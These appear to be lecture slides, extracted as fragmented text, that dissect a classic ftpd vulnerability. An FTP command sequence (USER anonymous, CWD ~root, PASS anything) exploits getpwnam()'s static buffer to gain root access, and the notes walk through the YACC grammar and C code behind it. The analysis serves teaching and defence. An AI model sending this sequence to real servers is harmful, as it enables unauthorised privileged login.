Consider the following command sequence:
USER anonymous # set anonlymous login flag, retrieve anonymous entry from /etc/passwd
CWD ˜root
PASS anything
The trick: the legal sequence
is:
USER
PASS
session commands
ftpd
grammar treats all commands the same, including USER
and PASS
.
A closer look at the Actual YACC Grammar:
cmd : USER SP username CRLF
| PASS SP password CRLF
| CWD check_login SP pathname CRLF # pseudo-rule, just a hook for some C code that checks the logged in flag
| ...
How to find pathname?
pathname : STRING
= {
if ($1 && strncmp((char *) $1, "˜", 1) == 0) {
$$ = (int)*glob((char *) $1);
if (globerr != NULL) {
reply(550, globerr);
$$ = NULL;
}
free((char *) $1);
} else
$$ = $1;
}
;
~
, it tries to do home directory expansion replaces ~smb
with /home/smb
.glob()
looks up smb's
record in /etc/passwd
two different routines are retrieving /etc/passwd
entries./etc/passwd
twice..Programmer forgot the semantics of
getpwnam()
USER ananymous
getpwnam("anonymous");
.~root
getpwnam("root");
~root
overwrites the buffer used by USER ananymous
.Code sequence:
pw = getpwnam("anonymous");
if (user == "anonymous") guest = 1;
...
globpw = getpwnam("root");
...
if (!guest) { check password }
chdir(pw->pw_dir);
if (guest) chroot(pw->pw_dir);
setuid(pw->pw_uid);